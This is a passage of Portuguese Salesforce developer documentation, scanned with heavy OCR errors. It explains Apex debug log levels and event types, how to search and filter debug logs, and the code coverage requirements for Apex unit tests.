Visualforce Inclui informagdes sobre compromissos do Visualforce, incluindo serializacao e desserializacao
do estado de exibicao ou a avaliacado de um campo de férmula em uma pagina do Visualforce.

Sistema Inclui informacgées sobre chamadas para todos os métodos do sistema, como o método
System.debug.

Niveis de registro de depuragao

Cada nivel de depuracao inclui um dos niveis de registro a sequir para cada categoria de registro. Os niveis sdo listados do mais baixo
para 0 mais alto. Eventos especificos séo registrados com base na combinagdo de categoria e niveis. A maioria dos eventos comeca a
ser registrada no nivel de INFORMACOES. O nivel é acumulativo, ou seja, se vocé selecionar CORRETO, o registro incluira também todos
os eventos registrados nos niveis DEPURAR, INFORMACOES, AVISO e ERRO.

@ Nota: Nem todos os niveis estdo disponiveis para todas as categorias. Apenas os niveis que correspondem a um ou mais eventos
estao disponiveis.

® NENHUM

® ERRO

e AVISO

e INFORMACOES

® DEPURAR

e FINE

e MAIS CORRETO

® O MAIS CORRETO DE TODOS

@ Importante: Antes de executar uma implementagdo, verifique se o nivel de registro do Cédigo do Apex ndo estd configurado

como O MAIS EXATO. Caso contrario, aimplantagdo pode demorar mais do que o esperado. Se 0 Console do desenvolvedor estiver
aberto, os niveis de log no Console do desenvolvedor afetardo todos os logs, incluindo aqueles criados durante a implementacéo.

Tipos de evento de depuragdo

A seguir estd um exemplo do que estd gravado no registro de depuracdo. O evento é USER_DEBUG. O formato é hora e data |
identificador do evento:

e datae hora: consiste no horario em que o evento ocorreu e em um valor entre parénteses. A hora esta no fuso horario do usuario e
no formato HH:mm: ss. SSS. 0 valor representa o tempo decorrido em milissegundos desde o inicio da solicitacdo. O valor do
tempo decorrido é excluido dos logs revisados no Console do desenvolvedor.

e identificador do evento: consiste no evento especifico que acionou o registro de depuragdo que esta sendo escrito, como
SAVEPOINT RESET ou VALIDATION RULE e qualquerinformacao adicional registrada com aquele evento, como o nome
do método ou o nimero da linha e do caractere em que o codigo foi executado.

A seguir, um exemplo de uma linha de registro de depuracao.
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Depurar o exemplo da linha de registro

Time Stamp Event Identifier

14:49:59.037 (37045000) |USER_DEBUG| [2] | DEBUG|Hello World!

Neste exemplo, o identificador do evento é composto do seguinte:

e Nome do evento:

USER _DEBUG
e Numero de linhas do evento no cédigo:
(21
e O nivel de registro do método System. Debug foi definido como:

DEBUG

e String fornecida pelo usuério para o método System. Debug:

Hello world!

O exemplo a seguir de uma linha de registro é acionado por seu snippet de cédigo.

Depurar snippet do cédigo de linha do registro

BizTest

private class TestHandleProductPriceChange !

atatic testMethod woid testPriceChange() |

Invoice Statement ¢ inwoice = new Invoice Statement  cistatus_ c = 'Hegotiating'):
ingert inwoice;

o s L) [

Alinha de registro a sequir é gravada quando o teste atinge a linha 5 no cédigo:
15:51:01.071 (55856000) |DML BEGIN| [5] |Op:Insert|Type:Invoice Statement c|Rows:1

Neste exemplo, o identificador do evento é composto do sequinte:

e Nome do evento:

DML BEGIN

e Numero de linhas do evento no cédigo:

[5]

e Tipo de operagdéo DML—Inserir:

Op:Insert
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e Nome do objeto:

Type:Invoice Statement c¢

e O nudmero de linhas passadas na operacao DML:

Rows:1

Atabela a seguir lista os tipos de evento que estao registrados, quais campos ou outras informacées sdo registradas com cada evento,
como também qual a combinagdo do nivel e categoria do registro provocam o registro do evento.

Nome do evento Campos ou informacoes registradas com o  Categoria Nivel
evento registrada registrado
BULK_HEAP ALLOCATE Numero de bytes alocados Codigodo O MAIS
Apex CORRETO DE
TODOS
CALLOUT REQUEST Numero da linha e cabecalhos da solicitacao Callout INFORMACOES
eacima
CALLOUT RESPONSE Numero da linha e corpo da resposta Callout INFORMACOES
eacima
CODE_UNIT FINISHED Nenhum Codigodo  ERROeacima
Apex
CODE_UNIT STARTED Numero da linha e nome da unidade do cédigo, como  Cédigodo  ERRO e acima

MyTrigger no evento do acionador  Apex
da Conta em Beforelnsert para

[new]
CONSTRUCTOR_ENTRY Numero da linha, ID de classe do Apex e a string Codigodo  CORRETO e
<init> () comostiposde parametros, se houver, Apex acima

entre os pa rénteses

CONSTRUCTOR EXIT Numerodalinhaeastring <init> () comostipos Cédigodo CORRETOe
de parametros, se houver, entre os parénteses Apex acima
CUMULATIVE LIMIT USAGE Nenhum Perfil do INFORMACOES
Apex eacima
CUMULATIVE LIMIT USAGE END Nenhum Perfil do INFORMACOES
Apex eacima
CUMULATIVE PROFILING Nenhum Perfil do CORRETO e
Apex acima
CUMULATIVE PROFILING BEGIN Nenhum Perfil do CORRETO e
Apex acima
CUMULATIVE PROFILING END Nenhum Perfil do CORRETO e

Apex acima
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Nome do evento Campos ou informagées registradas com o  Categoria Nivel
evento registrada registrado

DML BEGIN Numero da linha, operacao (como Inserir, BD INFORMACOES
Atualizar, etc), nome ou tipo de registro e e acima

numero de linhas passadas na operacdo DML

DML END Numero da linha BD INFORMACOES
eacima

EMAIL QUEUE Numero da linha Cédigodo  INFORMACOES
Apex eacima

ENTERING MANAGED PKG Namespace do pacote Cédigodo  INFORMACOES
Apex eacima

EXCEPTION THROWN Numero da linha, tipo de excecdo e mensagem Cédigodo  INFORMACOES
Apex eacima

EXECUTION FINISHED Nenhum Codigodo  ERROeacima
Apex

EXECUTION STARTED Nenhum Codigodo  ERROeacima
Apex

FATAL ERROR Tipo de excecao, mensagem e rastreamento de pilha  Cédigodo  ERRO e acima
Apex

FLOW ACTIONCALL DETAIL ID da entrevista, nome do elemento, tipo de agao, ~ Fluxode  MAIS EXATO

enumeracdo ou ID da acao, se achamada paraaacéo trabalho eacima
foi bem-sucedida e mensagem de erro

FLOW ASSIGNMENT DETAIL ID de entrevista, referéncia, operador e valor Fluxo de MAIS EXATO
trabalho eacima

FLOW BULK ELEMENT BEGIN ID de entrevista e tipo de elemento Fluxode ~ CORRETOe
trabalho  acima

FLOW BULK ELEMENT DETAIL ID de entrevista, tipo de elemento, nome do elemento, Fluxode — MAIS EXATO
numero de registros e tempo de execucao trabalho eacima

FLOW BULK ELEMENT END ID de entrevista, tipo de elemento, nome do elemento  Fluxode ~ CORRETO e
e nlimero de registros trabalho acima

FLOW CREATE INTERVIEW BEGIN ID da organizacdo, ID da definicdo e ID da verséo Fluxode  INFORMAGOES

trabalho eacima

FLOW CREATE INTERVIEW END ID de entrevista e nome do fluxo Fluxode  INFORMAGOES
trabalho  eacima

FLOW CREATE INTERVIEW ERROR Mensagem, ID da organizagdo, ID da definicdioe D Fluxode ~ ERROeacima
da versao trabalho
FLOW ELEMENT BEGIN ID de entrevista, tipo de elemento e nome do Fluxode ~ CORRETOe

elemento trabalho acima
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Nome do evento Campos ou informagées registradas com o  Categoria Nivel
evento registrada registrado
FLOW ELEMENT DEFERRED Tipo e nome do elemento Fluxode  CORRETOe

trabalho acima

FLOW ELEMENT END ID de entrevista, tipo de elemento e nome do Fluxode  CORRETOe
elemento trabalho  acima

FLOW ELEMENT ERROR Mensagem, tipo de elemento e nome do elemento  Fluxode ~ ERROeacima
(excecao de tempo de execucao do fluxo) trabalho

FLOW ELEMENT ERROR Mensagem, tipo de elemento e nome do elemento  Fluxode ~ ERROeacima
(spark ndo encontrado) trabalho

FLOW ELEMENT ERROR Mensagem, tipo de elemento e nome do elemento  Fluxode ~ ERROeacima
(excecao do designer) trabalho

FLOW ELEMENT ERROR Mensagem, tipo de elemento e nome do elemento  Fluxode ~ ERROeacima
(limite do designer excedido) trabalho

FLOW ELEMENT ERROR Mensagem, tipo de elemento e nome do elemento  Fluxode ~ ERROeacima
(excecao de tempo de execuc¢ao do designer) trabalho

FLOW ELEMENT FAULT Mensagem, tipo de elemento e nome do elemento  Fluxode ~ AVISOe
(caminho incorreto utilizado) trabalho acima

FLOW_ INTERVIEW PAUSED ID da entrevista, nome do fluxo e motivo pelo qual o Fluxo de INFORMACOES
usuario pausou trabalho eacima

FLOW INTERVIEW RESUMED ID de entrevista e nome do fluxo Fluxode  INFORMAGOES

trabalho eacima

FLOW_LOOP DETAIL ID de entrevista, indice e valor Fluxode  MAIS EXATO

O indice é a posicéo, na varidvel da colecdo, para o trabalho €acima

item no qual o loop estd operando.

FLOW RULE DETAIL ID de entrevista, nome da regra e resultado Fluxode  MAIS EXATO
trabalho  eacima

FLOW START INTERVIEW BEGIN ID de entrevista e nome do fluxo Fluxode  INFORMAGOES
trabalho  eacima

FLOW START INTERVIEW END ID de entrevista e nome do fluxo Fluxode  INFORMAGOES
trabalho  eacima

FLOW START INTERVIEWS BEGIN Solicitagoes Fluxode  INFORMAGOES
trabalho  eacima

FLOW START INTERVIEWS END Solicitagoes Fluxode  INFORMAGOES
trabalho  eacima

FLOW START INTERVIEWS ERROR Mensagem, ID de entrevista e nome do fluxo Fluxode  ERROeacima
trabalho
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Nome do evento

FLOW_ SUBFLOW DETAIL

FLOW VALUE ASSIGNMENT

FLOW WAIT EVENT RESUMING DETAIL

FLOW WAIT EVENT WATITING DETAIL

FLOW WAIT RESUMING DETAIL

FLOW WAIT WAITING DETAIL

HEAP ALLOCATE

HEAP DEALLOCATE

IDEAS QUERY EXECUTE

LIMIT USAGE FOR NS
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Campos ou informacoes registradas com o
evento

ID da entrevista, nome, ID da definicdo e ID da versao

ID de entrevista, chave e valor

ID de entrevista, nome do elemento, nome do
compromisso e tipo de compromisso

ID de entrevista, nome do elemento, nome do
compromisso, tipo de compromisso e se as condicdes
foram atendidas

ID da entrevista, nome do elemento e ID permanente
da entrevista

ID da entrevista, nome do elemento, nimero de
compromissos aguardados pelo elemento e ID
permanente da entrevista

Numero da linha e nimero de bytes

Numero da linha e nimero de bytes desalocados

NUmero da linha

Namespace e os limites a seguir:

Number of SOQL queries
Number of query rows
Number of SOSL queries
Number of DML statements
Number of DML rows

Number of code statements
Maximum heap size

Number of callouts

Number of Email Invocations

Number of fields describes

Categoria
registrada

Fluxo de
trabalho

Fluxo de
trabalho

Fluxo de
trabalho

Fluxo de
trabalho

Fluxo de
trabalho

Fluxo de
trabalho

Cédigo do
Apex

Cédigo do
Apex

BD

Perfil do
Apex

Nivel
registrado

MAIS EXATO
eacima

MAIS EXATO
eacima

MAIS EXATO
eacima

MAIS EXATO
eacima

MAIS EXATO
eacima

MAIS EXATO
eacima

MAIS EXATO
eacima

MAIS EXATO
eacima

O MAIS
CORRETO DE
TODOS

O MAIS
CORRETO DE
TODOS
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Nome do evento

METHOD ENTRY

METHOD EXIT

POP_TRACE_FLAGS

PUSH NOTIFICATION INVALID APP

PUSH NOTTIFICATION INVALID CERTIFICATE

PUSH NOTTFICATION INVALID NOTTFICATION
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Campos ou informacoes registradas com o  Categoria Nivel
registrada registrado

evento

Number of record type describes

Number of child relationships
describes

Number of picklist describes

Number of future calls

Number of find similar calls

Number of System.runAs()

invocations

NUmero da linha, o ID de Force.com da classe e a
assinatura do método

Numero da linha, o ID do Force.com da classe e a
assinatura do método.

Para construtores, as sequintes informacoes sdo
registradas: Numero de linha e nome da classe.

Numero da linha, o ID do Force.com da classe ou do
acionador que tem seus niveis de registro definidos

e que estd entrando no escopo, 0 nome dessa classe
ou acionador e as configuracdes de nivel de registro
em vigor no momento apds a saida desse escopo

Namespace do aplicativo, nome do aplicativo.

Esse evento ocorre quando o Apex code estd tentando
enviar uma notificacdo para um aplicativo que ndo
existe na organizacao ou ndo estd ativado para push.

Namespace do aplicativo, nome do aplicativo.

Este evento indica que o certificado é invalido. Por
exemplo: expirou.

Namespace e nome do aplicativo, tipo de servico
(Apple ou Android GCM), ID do usuario, dispositivo,
carga (substring), comprimento da carga.

Esse evento ocorre quando uma carga de notificacdo
é longa demais.

Cédigo do
Apex

Cédigo do
Apex

Sistema

Cédigo do
Apex

Cédigo do
Apex

Cédigo do
Apex

CORRETO e
acima

CORRETO e
acima

INFORMACOES
eacima

ERRO

ERRO

ERRO
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Nome do evento

PUSH NOTIFICATION NO DEVICES

PUSH NOTIFICATION NOT ENABLED

PUSH NOTIFICATION SENT

PUSH TRACE FLAGS

QUERY MORE BEGIN

QUERY MORE_END

QUERY MORE TITERATIONS

SAVEPOINT ROLLBACK

SAVEPOINT SET

SLA_END

SLA EVAL MILESTONE

SLA NULL START DATE

SLA_PROCESS_CASE

SOQL EXECUTE BEGIN
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Campos ou informacoes registradas com o
evento

Namespace do aplicativo, nome do aplicativo.

Esse evento ocorre quando nenhum dos usuarios para
0s quais estamos tentando enviar notificacoes tem
dispositivos registrados.

Esse evento ocorre quando as notificacées por push
ndo estdo ativadas na sua organizacao.

Namespace do aplicativo, nome do aplicativo, tipo
de servico (Apple ou Android GCM), ID do usuario,
dispositivo, carga (substring)

Este evento registra que uma notificacéo foi aceita
para o envio. Ndo garantimos a entrega da notificacéo.

Numero da linha, o ID do Force.com da classe ou do
acionador que tem seus niveis de registro definidos

e que estd saindo do escopo, 0 nome dessa classe ou
acionador e as configuracdes de nivel de registro em
vigor no momento apos entrada nesse escopo.

Numero da linha

Numero da linha

Numero da linha e o nimero de iteracbes de
queryMore

Numero da linha e nome do Savepoint

Numero da linha e nome do Savepoint

Numero de casos, tempo de carregamento, nimero
de marcos de caso a serem
inseridos/atualizado/excluidos e novo acionador

ID do marco
Nenhum

ID caso

NuUmero da linha, nimero de agregagdes e origem
da consulta

Categoria Nivel

registrada registrado

Codigodo  DEPURAR

Apex

Cédigodo  INFORMACOES

Apex

Codigodo  DEPURAR

Apex

Sistema INFORMACOES
eacima

BD INFORMACOES
eacima

BD INFORMACOES
eacima

BD INFORMACOES
eacima

BD INFORMACOES
eacima

BD INFORMACOES
eacima

Fluxode  INFORMACOES

trabalho eacima

Fluxode  INFORMACOES

trabalho eacima

Fluxode  INFORMACOES

trabalho eacima

Fluxode  INFORMACOES

trabalho eacima

BD INFORMACOES
eacima
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Nome do evento

SOQL_EXECUTE END

SOSL_EXECUTE BEGIN

SOSL_EXECUTE END

STACK_ FRAME VARIABLE LIST

STATEMENT EXECUTE

STATIC VARIABLE LIST

SYSTEM CONSTRUCTOR ENTRY

SYSTEM CONSTRUCTOR EXIT

SYSTEM METHOD ENTRY

SYSTEM METHOD EXIT

SYSTEM MODE ENTER

SYSTEM MODE EXIT

TESTING LIMITS

TOTAL EMAIL RECIPIENTS QUEUED

USER DEBUG
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Campos ou informacoes registradas com o

evento

Numero da linha, nimero de linhas e duragdo em

milissegundos

Numero da linha e origem da consulta

Numero da linha, nimero de linhas e duragdo em

milissegundos

Numero do quadro e lista varidvel do formulario:
Numero da varidvel | Valor.Porexemplo

varl:50

var2:'Hello World'

NUmero da linha

Lista de variavel do formulério: Numero da
varidvel | Valor. Porexemplo:

varl:50

var2:'Hello World'

Numerodalinhaeastring <init> () comostipos

de parametros, se houver, entre os parénteses

Numerodalinhaeastring <init> () comostipos

de pardmetros, se houver, entre os parénteses

NUmero da linha e assinatura do método

NUmero da linha e assinatura do método

Nome do modo

Nome do modo

Nenhum

Numero de emails enviados

Numero da linha, nivel de log e string fornecida pelo

usuario

Categoria Nivel
registrada registrado
BD INFORMACOES
eacima
BD INFORMACOES
eacima
BD INFORMACOES
eacima
Perfil do CORRETO e
Apex acima
Cédigodo  MAIS EXATO
Apex eacima
Perfil do CORRETO e
Apex acima
Sistema CORRETO e
acima
Sistema CORRETO e
acima
Sistema CORRETO e
acima
Sistema CORRETO e
acima
Sistema INFORMACOES
eacima
Sistema INFORMACOES
eacima
Perfildo  INFORMACOES
Apex eacima
Perfil do CORRETO e
Apex acima
Cédigodo DEPURARe
Apex acima por

padrao. Se o
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Nome do evento

VALIDATION ERROR

VALIDATION FAIL

VALIDATION FORMULA

VALIDATION PASS

VALIDATION RULE

VARIABLE ASSIGNMENT

VARIABLE SCOPE BEGIN

VARTABLE SCOPE END

VF_APEX CALL

VF DESERIALIZE VIEWSTATE BEGIN

VF DESERIALIZE VIEWSTATE END

VF EVALUATE FORMULA BEGIN

VF EVALUATE FORMULA END
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Campos ou informacoes registradas com o  Categoria

evento

Mensagem de erro

Nenhum

Origem da férmula e valores

Nenhum

Nome da regra

NUmero da linha, nome da variavel, uma
representacao da string do valor da varidvel e o
endere¢o da varidvel

Numero da linha, nome da varidvel, tipo, um valor
que indica se a varidvel pode ser referenciada e um
valor que indica se a varidvel é estatica

Nenhum

Nome do elemento, nome do método e tipo de
retorno

ID do estado de exibicao

Nenhum

ID do estado de exibicdo e formula

Nenhum

registrada

Validacéo

Validacéo

Validacéo

Validacéo

Validacéo

Cédigo do
Apex

Cédigo do
Apex

Cédigo do
Apex

Cédigo do
Apex

Visualforce
Visualforce

Visualforce

Visualforce

Nivel
registrado
usuario
definir o nivel
de registro

para o
método de

Systam.Ddoug
0 evento sera
registrado no
nivel, entdo.

INFORMACOES
eacima

INFORMA(;OES
eacima

INFORMA(;OES
eacima

INFORMA(;OES
eacima

INFORMAQOES
eacima

O MAIS
CORRETO DE
TODOS

O MAIS
CORRETO DE
TODOS

O MAIS
CORRETO DE
TODOS

INFORMACOES
eacima

INFORMACOES
eacima

INFORMACOES
eacima

MAIS EXATO
eacima

MAIS EXATO
eacima
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Nome do evento

VF_PAGE MESSAGE

VF SERIALIZE VIEWSTATE BEGIN

VF SERIALIZE VIEWSTATE END

WE ACTION

WF_ACTION TASK

WF_ACTIONS_ END

WE_ APPROVAL

WEF_ APPROVAL REMOVE

WEF_ APPROVAL SUBMIT

WF_ASSIGN

WEF CRITERIA BEGIN

WEF CRITERIA END

WF_EMAIL ALERT

WF_EMAIL SENT

WE ENQUEUE ACTIONS

WEF ESCALATION ACTION

WEF ESCALATION RULE

WF_EVAL ENTRY CRITERIA
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Campos ou informacoes registradas com o
evento

Texto da mensagem

ID do estado de exibicao

Nenhum

Descricdo da acdo

Assunto da tarefa, ID da acao, regra, proprietario e
data de conclusao

Resumo das acdes executadas

Tipo de transicdo, EntityName: Id de

NameField e nome do nd do processo

EntityName: Id de NameField

EntityName: Id de NameField

Proprietario e ID do modelo do encarregado

EntityName:
regra, ID da regra e tipo de acionador (se a regra
respeita os tipos de acionador)

Valor booleano indicando sucesso (verdadeiro ou
falso)

ID de acéo e regra

ID do modelo de email, destinatarios e emails CC
Resumo das a¢des enfileiradas

ID do caso e horério comercial

Nenhum

Nome do processo, ID do modelo de email e valor

Id de NameField, nomeda

Categoria
registrada

Cédigo do
Apex

Visualforce

Visualforce

Fluxo de
trabalho

Fluxo de
trabalho

Fluxo de
trabalho

Fluxo de
trabalho

Fluxo de
trabalho

Fluxo de
trabalho

Fluxo de
trabalho

Fluxo de
trabalho

Fluxo de
trabalho

Fluxo de
trabalho

Fluxo de
trabalho

Fluxo de
trabalho

Fluxo de
trabalho

Fluxo de
trabalho

Fluxo de

booleano indicando o resultado (verdadeiro ou falso) trabalho

Nivel
registrado

INFORMACOES
eacima

INFORMACOES
eacima

INFORMACOES
eacima

INFORMACOES
eacima

INFORMACOES
eacima

INFORMACOES
eacima

INFORMA(;OES
eacima

INFORMACOES
eacima

INFORMACOES
eacima

INFORMACOES
eacima

INFORMACOES
eacima

INFORMA(;OES
eacima

INFORMA(;OES
eacima

INFORMAQOES
eacima

INFORI\/\AQOES
eacima

INFORI\/\AQOES
eacima

INFORI\/\AQOES
eacima

INFORMAQOES
eacima
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Nome do evento Campos ou informagées registradas com o  Categoria Nivel
evento registrada registrado

WF_FIELD UPDATE EntityName: Id de NameField enome Fluxode  INFORMACOES
do objeto ou campo trabalho  eacima

WF_FORMULA Origem da férmula e valores Fluxo de INFORMACOES

trabalho eacima

WF_HARD REJECT Nenhum Fluxode  INFORMAGOES
trabalho  eacima

WF_NEXT APPROVER Proprietario, proximo tipo de proprietario e campo  Fluxo de INFORMACOES
trabalho e acima

WF_NO_ PROCESS_FOUND Nenhum Fluxode  INFORMAGOES
trabalho  eacima

WEF_OUTBOUND MSG EntityName: Id de NameField,IDdeacdo Fluxode  INFORMAGOES
eregra trabalho  eacima
WF_PROCESS NODE Nome do processo Fluxode  INFORMAGOES

trabalho e acima

WF_REASSIGN RECORD EntityName: Id de NameFielde Fluxode  INFORMAGOES
proprietario trabalho eacima

WF_RESPONSE NOTIFY Nome do notificador, email do notificadore IDde ~ Fluxode — INFORMAGOES
modelo do notificador trabalho  eacima

WF_RULE_ENTRY ORDER Inteiro e ordem de indicacdo Fluxode  INFORMAGOES

trabalho eacima

WF_RULE EVAL BEGIN Tipo de regra Fluxode  INFORMAGOES
trabalho  eacima

WF_RULE EVAL END Nenhum Fluxode  INFORMAGOES
trabalho  eacima

WF_RULE EVAL VALUE Valor Fluxode  INFORMAGOES
trabalho  eacima

WF _RULE FILTER Critérios de filtro Fluxode  INFORMACOES
trabalho  eacima

WF_RULE INVOCATION EntityName: Id de NameField Fluxode  INFORMACOES
trabalho  eacima

WF _RULE NOT EVALUATED Nenhum Fluxode  INFORMACOES
trabalho  eacima

WEF_SOFT REJECT Nome do processo Fluxode  INFORMACOES
trabalho  eacima

WE_SPOOL ACTION BEGIN Tipo de nd Fluxode  INFORMAGOES
trabalho  eacima
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Nome do evento Campos ou informagées registradas com o  Categoria Nivel
evento registrada registrado

WF_TIME TRIGGER EntityName: Id de NameField,acdode Fluxode  INFORMACOES
tempo, contéiner da acdo de tempo e data/horada  trabalho eacima
avaliacdo

WF_TIME TRIGGERS BEGIN Nenhum Fluxode  INFORMAGOES

trabalho e acima

CONSULTE TAMBEM:

Filtragem do registro de depuracao para classes do Apex e acionadores do Apex

Pesquisando em um registro de depuracdo

Para procurar texto em um registro de depuragao, use a janela da linha de comando do Console do desenvolvedor.

Antes de ser possivel pesquisar, é necessario executar as instrucbes do Apex para gerar o registro a partir da Janela da linha de comando.
1. Para abrir a Janela da linha de comando, clique em CTRL+L.

2. Execute o codigo do Apex para gerar um registro:

e Parainseririnstrucdes do Apex na linha de comando, digite exec <Apex statements>.

Por exemplo:
exec List<Account> accts = new List<Account>();
for (Integer i=0; i<20; 1i++) {
Account a = new Account (name='Account Name ' + 1i);

accts.add(a);

}
e Para executar cédigo que vocé ja inseriu na janela Inserir cédigo do Apex, digite exec -r.

3. Aposologtersido gerado, digite 1ocalizar <string> parapesquisar o texto especificado.
Porexemplo: localizar Nome da conta.
Os resultados da pesquisa sao exibidos na Janela da linha de comando.

4. Parafechar a Janela da linha de comando, clique em CTRL+L.

CONSULTE TAMBEM:

Referéncia da linha de comando do Console do desenvolvedor
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Filtragem do registro de depuracdo para classes do Apex e acionadores do Apex
EDICOES

Configurando filiros do registro de depuracdo para classes e

acionadores do Apex Disponivel em: Salesforce

Afiltragem do registro de depuracdo oferece um mecanismo para ajuste dos detalhes do registro E)I(crl)sesrlicescl.;ghmlng

no nivel do acionador e da classe. Isso é especialmente Util ao depurar a légica do Apex. Por exempilo,

para avaliar a saida de um processo complexo, vocé pode elevar os detalhes do log para uma Disponivel em: Enterprise,

determinada classe, desativando o registro para outras classes ou acionadores em uma Unica Performance, Unlimited,

solicitacdo. Developer e Database.com
Editions

Quando vocé substitui os niveis do registro de depuracao para uma classe ou acionador, esses

niveis de depuracéo também se aplicam aos métodos de classe que sua classe ou acionador chamada

e aos acionadores que sao executados como resultado. Todos os métodos e acionadores de classe

no caminho de execucao herdam as configuracoes de registro de seu chamador, a menos que tenham essas configuragdes substituidas.

O diagrama a seguir ilustra os niveis de registro de depuracao de substituicdo no nivel da classe e do acionador. Para este cenario,
suponha que Class1 esteja causando alguns problemas que vocé gostaria de ver mais de perto. Para isso, os niveis do registro de
depuracdo de Class1 sdo elevados para a granularidade mais fina. Class3 ndo substitui esses arquivos de log, e portanto herda
os filtros de depuragdo granularesde Class1.Noentanto, UtilityClass jafoitestado e deve funcionaradequadamente, portanto
possui seus filtros de log desativados. Da mesma forma, Class2 nao estd no caminho do codigo que causa um problema, portanto
tem seu registro minimizado para registrar apenas erros da categoria Apex Code. Trigger2 herda essas configuracdes de registro

de Class?2.
Ajustando o registro de depuracéo para classes e acionadores
Class1 Class3 - UtilityClass
Raised Inherited Lodging
Default Log Log Levels | Database: FINEST Log Setings | Database: FINEST off | Database: NONE
Filters — — — .

Apex Code: FINEST Apex Code: FINEST Apex Code: NONE
Trigger1 Apex Profiling: FINEST Apex Profiling: FINEST Apex Profiling: NONE
Database: INFO _ _ _

Apex Code: DEBUG

Apex Profiling: INFO Minimal Class2 nherited Trigger2
P L H "
2999 patabase; NONE Log Settings | Database: NONE
— P

Ap-ax Code: ERROR Ap-ax Code: ERROR
Apex Profiling: NONE Apex Profiling: NONE

A sequir, hd um exemplo de pseudo-codigo em que o diagrama esté baseado.

1. Triggerl chamaum métodode Class1 eoutro método de Class2.Porexemplo:

trigger Triggerl on Account (before insert) {
Classl.someMethod () ;
Class2.anotherMethod () ;

2. Classl chamaum método de Class3, que, porsua vez, chamada um método de uma classe de utilitario. Por exemplo:

public class Classl {
public static void someMethod () {
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Class3.thirdMethod() ;

public class Class3 {
public static void thirdMethod() {
UtilityClass.doSomething() ;

3. Class2 causaaexecucao de um acionador Trigger2. Por exemplo:

public class Class2 {
public static void anotherMethod () {
// Some code that causes Trigger2 to be fired.

CONSULTE TAMBEM:

Niveis de registro de depuracao

Testar

Testando suas alteracoes

Esta secdo contém informacdes sobre testes de alteracoes.
e Sobre testes de unidade do Apex

e Trabalhar com Execucdo de teste do Apex

e Executar testes no Console do desenvolvedor

e Executando o cédigo do apex anénimo
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Sobre testes de unidade do Apex

O teste é fundamental para o sucesso do seu aplicativo, principalmente se este for implantado nos
clientes. Se vocé confirmar que o aplicativo funciona conforme esperado e que ndo ha
comportamentos inesperados, seus clientes confiardo mais em vocé.

Para facilitar o desenvolvimento de cédigo robusto e livre de erros, o Apex suporta a criagéo e
execucao de testes de unidade. Testes de unidade sdo métodos de classe que verificam se uma
determinada parte do cédigo estd funcionando corretamente. Os métodos de teste da unidade
nao levam argumentos, ndo confirmam dados para o banco de dados, ndo enviam emails e s&o
marcados com a palavra-chave testMethod na definicdo do método.

Vocé pode executar testes de unidade para:

e Uma classe especifica

e Um subconjunto de classes

e Todos os testes de unidade em sua organizagao

Todos os testes do Apex que sao iniciados na interface do usuério do Salesforce (incluindo o Console
do desenvolvedor sao executados de forma assincrona e em paralelo. As classes de teste do Apex
sdo colocadas na fila de trabalho do Apex para execugdo. O nimero maximo de classes de teste
que é possivel executar em um periodo de 24 horas é maior que 500 ou 10 vezes o nimero de
classes de teste na organizacao. Para organizacdes com sandbox e Developer Edition, o limite é
mais alto e é o maior de 500 ou 20 multiplicado pelo nimero de classes de teste na organizagéo.

Cobertura de codigo por teste de unidade

Para poderimplantar o cdigo ou compacta-lo para o AppExchange Force.com, a sequinte condicdo
deve ser verdadeira:
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EDICOES

Disponivel em: Salesforce
Classic

Disponivel em: Edicdes
Performance, Unlimited,
Developer, Enterprise e
Database.com

Os pacotes gerenciados
ndo estdo disponiveis em
Database.com.

PERMISSOES DO

USUARIO

Para definir, editar, excluir,
definir a seguranca, definir
as configuracdes da versdo,
mostrar dependéncias e
executar testes de classes
do Apex:

e "Apex do autor”

e Pelo menos, 75% do seu codigo do Apex deve ser coberto por testes de unidade, e todos esses testes devem ser concluidos com

éxito.

Observe o seguinte:

— Aoimplantar o Apex em uma organizacdo de producdo, cada teste de unidade no namespace de sua organizacao serd executado

por padréo.

-~ Chamadas para System.debug nao sdo contadas como parte da cobertura de codigo do Apex.

- Métodos e classes de teste nao sdo contados como parte da cobertura de cédigo do Apex.

-~ Embora apenas 75% de seu cédigo Apex seja coberto por testes, seu foco ndo deve ser no percentual de cddigo coberto. Em
vez disso, vocé deve certificar-se de que cada caso de uso de seu aplicativo esta coberto, incluindo casos positivos e negativos,
bem como registros individuais e em lote. Isso deve levar a cobertura de 75% ou mais do codigo por testes de unidade.

e (ada acionador deve ter alguma cobertura de teste.

e Todas as classes e acionadores devem ser compilados corretamente.

Se 0 teste chamar outra classe ou fizer um acionador ser executado, o Apex sera incluido no total usado para calcular a porcentagem

de cédigo coberto.

Apos a execugdo dos testes, os resultados de cobertura de cédigo estardo disponiveis no Console do desenvolvedor.

Para gerar os resultados de cobertura de cédigo, execute primeiro os testes usando um dos métodos a seguir:

e Para executar testes a partir do Console do desenvolvedor, consulte Criar uma execucao de teste.
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e Para executar todos os testes, em Configuracéo, insira Apex na caixa Busca rapida, selecione Classes do Apex e clique em
Executar todos os testes.

e Para executar testes para uma classe individual, em Configuracdo, insira Apex na caixa Busca rapida e selecione Execucao
de teste do Apex. Clique em Selecionar testes... para selecionar as classes que contém os testes que deseja executar e clique em
Executar.

Ap6s executar os testes, veja os resultados de cobertura de codigo no Console do desenvolvedor, incluindo as linhas de codigos que
sd0 cobertas por testes de uma classe ou acionador individual. Consulte Verificando a cobertura de cédigo.

CONSULTE TAMBEM:
Trabalhar com Execucao de teste do Apex

http://www.salesforce.com/us/developer/docs/apexcode/Content/apex_code_coverage_best_pract.htm

Execucdo de teste do Apex

Trabalhar com Execucdo de teste do Apex

1. Em Configuracdo, insira Execucdo de teste do Apex nacaixa Busca rapida
e selecione Execucdo de teste do Apex.
2. (lique em Selecionar testes.... Disponivel em: Salesforce
Classic e Lightning
@ Nota: Sevocé tiver as classes do Apex que s&o instaladas de um pacote gerenciado, Experience
deve compilar essas classes clicando inicialmente em Compilar todas as classes na
pagina Classes do Apex para que aparecam na lista. Consulte Gerenciar classes do Apex Disponivel em: Enterprise,
na pagina 56. Performance, Unlimited,
Developer e Database.com
3. Selecione os testes a serem executados. A lista de testes inclui somente as classes que contém Edifions

métodos de teste.

e Paraselecionar os testes de um pacote gerenciado instalado, selecione na lista suspensa o PERMISSOES DO
namespace correspondente ao pacote gerenciado. Somente as classes do pacote gerenciado USUARIO
com o namespace selecionado aparecem na lista.

Para definir, editar, excluir,
definir a seguranca, definir
as configuracdes da versdo,

e Para selecionar os testes que existem localmente na sua organizagao, selecione [Meu
Namespace] na lista suspensa. Somente classes locais que ndo sao se pacotes gerenciados

aparecem na lista. mostrar dependéncias e
